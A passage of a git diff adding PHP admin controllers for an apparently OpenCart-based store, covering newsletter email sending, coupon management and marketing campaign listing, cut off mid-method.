+ $store_name = $this->config->get('config_name');
+ }
+
+ $setting = $this->model_setting_setting->getSetting('config', $this->request->post['store_id']);
+
+ $store_email = isset($setting['config_email']) ? $setting['config_email'] : $this->config->get('config_email');
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $email_total = 0;
+
+ $emails = array();
+
+ switch ($this->request->post['to']) {
+ case 'newsletter':
+ $customer_data = array(
+ 'filter_newsletter' => 1,
+ 'start' => ($page - 1) * 10,
+ 'limit' => 10
+ );
+
+ $email_total = $this->model_customer_customer->getTotalCustomers($customer_data);
+
+ $results = $this->model_customer_customer->getCustomers($customer_data);
+
+ foreach ($results as $result) {
+ $emails[] = $result['email'];
+ }
+ break;
+ case 'customer_all':
+ $customer_data = array(
+ 'start' => ($page - 1) * 10,
+ 'limit' => 10
+ );
+
+ $email_total = $this->model_customer_customer->getTotalCustomers($customer_data);
+
+ $results = $this->model_customer_customer->getCustomers($customer_data);
+
+ foreach ($results as $result) {
+ $emails[] = $result['email'];
+ }
+ break;
+ case 'customer_group':
+ $customer_data = array(
+ 'filter_customer_group_id' => $this->request->post['customer_group_id'],
+ 'start' => ($page - 1) * 10,
+ 'limit' => 10
+ );
+
+ $email_total = $this->model_customer_customer->getTotalCustomers($customer_data);
+
+ $results = $this->model_customer_customer->getCustomers($customer_data);
+
+ foreach ($results as $result) {
+ $emails[$result['customer_id']] = $result['email'];
+ }
+ break;
+ case 'customer':
+ if (!empty($this->request->post['customer'])) {
+ $customers = array_slice($this->request->post['customer'], ($page - 1) * 10, 10);
+
+ foreach ($customers as $customer_id) {
+ $customer_info = $this->model_customer_customer->getCustomer($customer_id);
+
+ if ($customer_info) {
+ $emails[] = $customer_info['email'];
+ }
+ }
+
+ $email_total = count($emails);
+ }
+ break;
+ case 'affiliate_all':
+ $affiliate_data = array(
+ 'filter_affiliate' => 1,
+ 'start' => ($page - 1) * 10,
+ 'limit' => 10
+ );
+
+ $email_total = $this->model_customer_customer->getTotalCustomers($affiliate_data);
+
+ $results = $this->model_customer_customer->getCustomers($affiliate_data);
+
+ foreach ($results as $result) {
+ $emails[] = $result['email'];
+ }
+ break;
+ case 'affiliate':
+ if (!empty($this->request->post['affiliate'])) {
+ $affiliates = array_slice($this->request->post['affiliate'], ($page - 1) * 10, 10);
+
+ foreach ($affiliates as $affiliate_id) {
+ $affiliate_info = $this->model_customer_customer->getCustomer($affiliate_id);
+
+ if ($affiliate_info) {
+ $emails[] = $affiliate_info['email'];
+ }
+ }
+
+ $email_total = count($this->request->post['affiliate']);
+ }
+ break;
+ case 'product':
+ if (isset($this->request->post['product'])) {
+ $email_total = $this->model_sale_order->getTotalEmailsByProductsOrdered($this->request->post['product']);
+
+ $results = $this->model_sale_order->getEmailsByProductsOrdered($this->request->post['product'], ($page - 1) * 10, 10);
+
+ foreach ($results as $result) {
+ $emails[] = $result['email'];
+ }
+ }
+ break;
+ }
+
+ if ($emails) {
+ $json['success'] = $this->language->get('text_success');
+
+ $start = ($page - 1) * 10;
+ $end = $start + 10;
+
+ if($page == 1 && $email_total < 10) {
+ $json['success'] = sprintf($this->language->get('text_sent'), $email_total, $email_total);
+ } else if($page == 1 && $email_total > 10) {
+ $json['success'] = sprintf($this->language->get('text_sent'), 10, $email_total);
+ } else if($page > 1 && $email_total < ($page * 10)) {
+ $json['success'] = sprintf($this->language->get('text_sent'), $email_total, $email_total);
+ } else {
+ $json['success'] = sprintf($this->language->get('text_sent'), ($start * $page), $email_total);
+ }
+
+ if ($end < $email_total) {
+ $json['next'] = str_replace('&', '&', $this->url->link('marketing/contact/send', 'user_token=' . $this->session->data['user_token'] . '&page=' . ($page + 1), true));
+ } else {
+ $json['next'] = '';
+ }
+
+ $message = '' . "\n";
+ $message .= ' ' . "\n";
+ $message .= ' ' . $this->request->post['subject'] . ' ' . "\n";
+ $message .= ' ' . "\n";
+ $message .= ' ' . "\n";
+ $message .= ' ' . html_entity_decode($this->request->post['message'], ENT_QUOTES, 'UTF-8') . '' . "\n";
+ $message .= '' . "\n";
+
+ foreach ($emails as $email) {
+ if (filter_var($email, FILTER_VALIDATE_EMAIL)) {
+ $mail = new Mail($this->config->get('config_mail_engine'));
+ $mail->parameter = $this->config->get('config_mail_parameter');
+ $mail->smtp_hostname = $this->config->get('config_mail_smtp_hostname');
+ $mail->smtp_username = $this->config->get('config_mail_smtp_username');
+ $mail->smtp_password = html_entity_decode($this->config->get('config_mail_smtp_password'), ENT_QUOTES, 'UTF-8');
+ $mail->smtp_port = $this->config->get('config_mail_smtp_port');
+ $mail->smtp_timeout = $this->config->get('config_mail_smtp_timeout');
+
+ $mail->setTo($email);
+ $mail->setFrom($store_email);
+ $mail->setSender(html_entity_decode($store_name, ENT_QUOTES, 'UTF-8'));
+ $mail->setSubject(html_entity_decode($this->request->post['subject'], ENT_QUOTES, 'UTF-8'));
+ $mail->setHtml($message);
+ $mail->send();
+ }
+ }
+ } else {
+ $json['error']['email'] = $this->language->get('error_email');
+ }
+ }
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+}
diff --git a/public/admin/controller/marketing/coupon.php b/public/admin/controller/marketing/coupon.php
new file mode 100644
index 0000000..85d3e6c
--- /dev/null
+++ b/public/admin/controller/marketing/coupon.php
@@ -0,0 +1,556 @@
+load->language('marketing/coupon');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('marketing/coupon');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('marketing/coupon');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('marketing/coupon');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_marketing_coupon->addCoupon($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('marketing/coupon', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('marketing/coupon');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('marketing/coupon');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_marketing_coupon->editCoupon($this->request->get['coupon_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('marketing/coupon', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('marketing/coupon');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('marketing/coupon');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $coupon_id) {
+ $this->model_marketing_coupon->deleteCoupon($coupon_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('marketing/coupon', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'name';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('marketing/coupon', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['add'] = $this->url->link('marketing/coupon/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('marketing/coupon/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['coupons'] = array();
+
+ $filter_data = array(
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $coupon_total = $this->model_marketing_coupon->getTotalCoupons();
+
+ $results = $this->model_marketing_coupon->getCoupons($filter_data);
+
+ foreach ($results as $result) {
+ $data['coupons'][] = array(
+ 'coupon_id' => $result['coupon_id'],
+ 'name' => $result['name'],
+ 'code' => $result['code'],
+ 'discount' => $result['discount'],
+ 'date_start' => date($this->language->get('date_format_short'), strtotime($result['date_start'])),
+ 'date_end' => date($this->language->get('date_format_short'), strtotime($result['date_end'])),
+ 'status' => ($result['status'] ? $this->language->get('text_enabled') : $this->language->get('text_disabled')),
+ 'edit' => $this->url->link('marketing/coupon/edit', 'user_token=' . $this->session->data['user_token'] . '&coupon_id=' . $result['coupon_id'] . $url, true)
+ );
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_name'] = $this->url->link('marketing/coupon', 'user_token=' . $this->session->data['user_token'] . '&sort=name' . $url, true);
+ $data['sort_code'] = $this->url->link('marketing/coupon', 'user_token=' . $this->session->data['user_token'] . '&sort=code' . $url, true);
+ $data['sort_discount'] = $this->url->link('marketing/coupon', 'user_token=' . $this->session->data['user_token'] . '&sort=discount' . $url, true);
+ $data['sort_date_start'] = $this->url->link('marketing/coupon', 'user_token=' . $this->session->data['user_token'] . '&sort=date_start' . $url, true);
+ $data['sort_date_end'] = $this->url->link('marketing/coupon', 'user_token=' . $this->session->data['user_token'] . '&sort=date_end' . $url, true);
+ $data['sort_status'] = $this->url->link('marketing/coupon', 'user_token=' . $this->session->data['user_token'] . '&sort=status' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $coupon_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('marketing/coupon', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($coupon_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($coupon_total - $this->config->get('config_limit_admin'))) ? $coupon_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $coupon_total, ceil($coupon_total / $this->config->get('config_limit_admin')));
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('marketing/coupon_list', $data));
+ }
+
+ protected function getForm() {
+ $data['text_form'] = !isset($this->request->get['coupon_id']) ? $this->language->get('text_add') : $this->language->get('text_edit');
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ if (isset($this->request->get['coupon_id'])) {
+ $data['coupon_id'] = (int)$this->request->get['coupon_id'];
+ } else {
+ $data['coupon_id'] = 0;
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = '';
+ }
+
+ if (isset($this->error['code'])) {
+ $data['error_code'] = $this->error['code'];
+ } else {
+ $data['error_code'] = '';
+ }
+
+ if (isset($this->error['date_start'])) {
+ $data['error_date_start'] = $this->error['date_start'];
+ } else {
+ $data['error_date_start'] = '';
+ }
+
+ if (isset($this->error['date_end'])) {
+ $data['error_date_end'] = $this->error['date_end'];
+ } else {
+ $data['error_date_end'] = '';
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('marketing/coupon', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['coupon_id'])) {
+ $data['action'] = $this->url->link('marketing/coupon/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('marketing/coupon/edit', 'user_token=' . $this->session->data['user_token'] . '&coupon_id=' . $this->request->get['coupon_id'] . $url, true);
+ }
+
+ $data['cancel'] = $this->url->link('marketing/coupon', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ if (isset($this->request->get['coupon_id']) && (!$this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $coupon_info = $this->model_marketing_coupon->getCoupon($this->request->get['coupon_id']);
+ }
+
+ if (isset($this->request->post['name'])) {
+ $data['name'] = $this->request->post['name'];
+ } elseif (!empty($coupon_info)) {
+ $data['name'] = $coupon_info['name'];
+ } else {
+ $data['name'] = '';
+ }
+
+ if (isset($this->request->post['code'])) {
+ $data['code'] = $this->request->post['code'];
+ } elseif (!empty($coupon_info)) {
+ $data['code'] = $coupon_info['code'];
+ } else {
+ $data['code'] = '';
+ }
+
+ if (isset($this->request->post['type'])) {
+ $data['type'] = $this->request->post['type'];
+ } elseif (!empty($coupon_info)) {
+ $data['type'] = $coupon_info['type'];
+ } else {
+ $data['type'] = '';
+ }
+
+ if (isset($this->request->post['discount'])) {
+ $data['discount'] = $this->request->post['discount'];
+ } elseif (!empty($coupon_info)) {
+ $data['discount'] = $coupon_info['discount'];
+ } else {
+ $data['discount'] = '';
+ }
+
+ if (isset($this->request->post['logged'])) {
+ $data['logged'] = $this->request->post['logged'];
+ } elseif (!empty($coupon_info)) {
+ $data['logged'] = $coupon_info['logged'];
+ } else {
+ $data['logged'] = '';
+ }
+
+ if (isset($this->request->post['shipping'])) {
+ $data['shipping'] = $this->request->post['shipping'];
+ } elseif (!empty($coupon_info)) {
+ $data['shipping'] = $coupon_info['shipping'];
+ } else {
+ $data['shipping'] = '';
+ }
+
+ if (isset($this->request->post['total'])) {
+ $data['total'] = $this->request->post['total'];
+ } elseif (!empty($coupon_info)) {
+ $data['total'] = $coupon_info['total'];
+ } else {
+ $data['total'] = '';
+ }
+
+ if (isset($this->request->post['coupon_product'])) {
+ $products = $this->request->post['coupon_product'];
+ } elseif (isset($this->request->get['coupon_id'])) {
+ $products = $this->model_marketing_coupon->getCouponProducts($this->request->get['coupon_id']);
+ } else {
+ $products = array();
+ }
+
+ $this->load->model('catalog/product');
+
+ $data['coupon_product'] = array();
+
+ foreach ($products as $product_id) {
+ $product_info = $this->model_catalog_product->getProduct($product_id);
+
+ if ($product_info) {
+ $data['coupon_product'][] = array(
+ 'product_id' => $product_info['product_id'],
+ 'name' => $product_info['name']
+ );
+ }
+ }
+
+ if (isset($this->request->post['coupon_category'])) {
+ $categories = $this->request->post['coupon_category'];
+ } elseif (isset($this->request->get['coupon_id'])) {
+ $categories = $this->model_marketing_coupon->getCouponCategories($this->request->get['coupon_id']);
+ } else {
+ $categories = array();
+ }
+
+ $this->load->model('catalog/category');
+
+ $data['coupon_category'] = array();
+
+ foreach ($categories as $category_id) {
+ $category_info = $this->model_catalog_category->getCategory($category_id);
+
+ if ($category_info) {
+ $data['coupon_category'][] = array(
+ 'category_id' => $category_info['category_id'],
+ 'name' => ($category_info['path'] ? $category_info['path'] . ' > ' : '') . $category_info['name']
+ );
+ }
+ }
+
+ if (isset($this->request->post['date_start'])) {
+ $data['date_start'] = $this->request->post['date_start'];
+ } elseif (!empty($coupon_info)) {
+ $data['date_start'] = ($coupon_info['date_start'] != '0000-00-00' ? $coupon_info['date_start'] : '');
+ } else {
+ $data['date_start'] = date('Y-m-d', time());
+ }
+
+ if (isset($this->request->post['date_end'])) {
+ $data['date_end'] = $this->request->post['date_end'];
+ } elseif (!empty($coupon_info)) {
+ $data['date_end'] = ($coupon_info['date_end'] != '0000-00-00' ? $coupon_info['date_end'] : '');
+ } else {
+ $data['date_end'] = date('Y-m-d', strtotime('+1 month'));
+ }
+
+ if (isset($this->request->post['uses_total'])) {
+ $data['uses_total'] = $this->request->post['uses_total'];
+ } elseif (!empty($coupon_info)) {
+ $data['uses_total'] = $coupon_info['uses_total'];
+ } else {
+ $data['uses_total'] = 1;
+ }
+
+ if (isset($this->request->post['uses_customer'])) {
+ $data['uses_customer'] = $this->request->post['uses_customer'];
+ } elseif (!empty($coupon_info)) {
+ $data['uses_customer'] = $coupon_info['uses_customer'];
+ } else {
+ $data['uses_customer'] = 1;
+ }
+
+ if (isset($this->request->post['status'])) {
+ $data['status'] = $this->request->post['status'];
+ } elseif (!empty($coupon_info)) {
+ $data['status'] = $coupon_info['status'];
+ } else {
+ $data['status'] = true;
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('marketing/coupon_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'marketing/coupon')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if ((utf8_strlen($this->request->post['name']) < 3) || (utf8_strlen($this->request->post['name']) > 128)) {
+ $this->error['name'] = $this->language->get('error_name');
+ }
+
+ if ((utf8_strlen($this->request->post['code']) < 3) || (utf8_strlen($this->request->post['code']) > 20)) {
+ $this->error['code'] = $this->language->get('error_code');
+ }
+
+ $coupon_info = $this->model_marketing_coupon->getCouponByCode($this->request->post['code']);
+
+ if ($coupon_info) {
+ if (!isset($this->request->get['coupon_id'])) {
+ $this->error['warning'] = $this->language->get('error_exists');
+ } elseif ($coupon_info['coupon_id'] != $this->request->get['coupon_id']) {
+ $this->error['warning'] = $this->language->get('error_exists');
+ }
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'marketing/coupon')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ public function history() {
+ $this->load->language('marketing/coupon');
+
+ $this->load->model('marketing/coupon');
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $data['histories'] = array();
+
+ $results = $this->model_marketing_coupon->getCouponHistories($this->request->get['coupon_id'], ($page - 1) * 10, 10);
+
+ foreach ($results as $result) {
+ $data['histories'][] = array(
+ 'order_id' => $result['order_id'],
+ 'customer' => $result['customer'],
+ 'amount' => $result['amount'],
+ 'date_added' => date($this->language->get('date_format_short'), strtotime($result['date_added']))
+ );
+ }
+
+ $history_total = $this->model_marketing_coupon->getTotalCouponHistories($this->request->get['coupon_id']);
+
+ $pagination = new Pagination();
+ $pagination->total = $history_total;
+ $pagination->page = $page;
+ $pagination->limit = 10;
+ $pagination->url = $this->url->link('marketing/coupon/history', 'user_token=' . $this->session->data['user_token'] . '&coupon_id=' . $this->request->get['coupon_id'] . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($history_total) ? (($page - 1) * 10) + 1 : 0, ((($page - 1) * 10) > ($history_total - 10)) ? $history_total : ((($page - 1) * 10) + 10), $history_total, ceil($history_total / 10));
+
+ $this->response->setOutput($this->load->view('marketing/coupon_history', $data));
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/marketing/marketing.php b/public/admin/controller/marketing/marketing.php
new file mode 100644
index 0000000..05d0ea6
--- /dev/null
+++ b/public/admin/controller/marketing/marketing.php
@@ -0,0 +1,496 @@
+load->language('marketing/marketing');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('marketing/marketing');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('marketing/marketing');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('marketing/marketing');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_marketing_marketing->addMarketing($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_code'])) {
+ $url .= '&filter_code=' . $this->request->get['filter_code'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('marketing/marketing', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('marketing/marketing');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('marketing/marketing');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_marketing_marketing->editMarketing($this->request->get['marketing_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_code'])) {
+ $url .= '&filter_code=' . $this->request->get['filter_code'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('marketing/marketing', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('marketing/marketing');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('marketing/marketing');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $marketing_id) {
+ $this->model_marketing_marketing->deleteMarketing($marketing_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_code'])) {
+ $url .= '&filter_code=' . $this->request->get['filter_code'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('marketing/marketing', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['filter_name'])) {
+ $filter_name = $this->request->get['filter_name'];
+ } else {
+ $filter_name = '';
+ }
+
+ if (isset($this->request->get['filter_code'])) {
+ $filter_code = $this->request->get['filter_code'];
+ } else {
+ $filter_code = '';
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $filter_date_added = $this->request->get['filter_date_added'];
+ } else {
+ $filter_date_added = '';
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'm.name';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_code'])) {
+ $url .= '&filter_code=' . $this->request->get['filter_code'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('marketing/marketing', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['add'] = $this->url->link('marketing/marketing/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('marketing/marketing/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['marketings'] = array();
+
+ $filter_data = array(
+ 'filter_name' => $filter_name,
+ 'filter_code' => $filter_code,
+ 'filter_date_added' => $filter_date_added,
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $marketing_total = $this->model_marketing_marketing->getTotalMarketings($filter_data);
+
+ $results = $this->model_marketing_marketing->getMarketings($filter_data);
+
+ foreach ($results as $result) {
+ $data['marketings'][] = array(
+ 'marketing_id' => $result['marketing_id'],
+ 'name' => $result['name'],
+ 'code' => $result['code'],
+ 'clicks' => $result['clicks'],
+ 'orders' => $result['orders'],
+ 'date_added' => date($this->language->get('date_format_short'), strtotime($result['date_added'])),
+ 'edit' => $this->url->link('marketing/marketing/edit', 'user_token=' . $this->session->data['user_token'] . '&marketing_id=' . $result['marketing_id'] . $url, true)
+ );
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
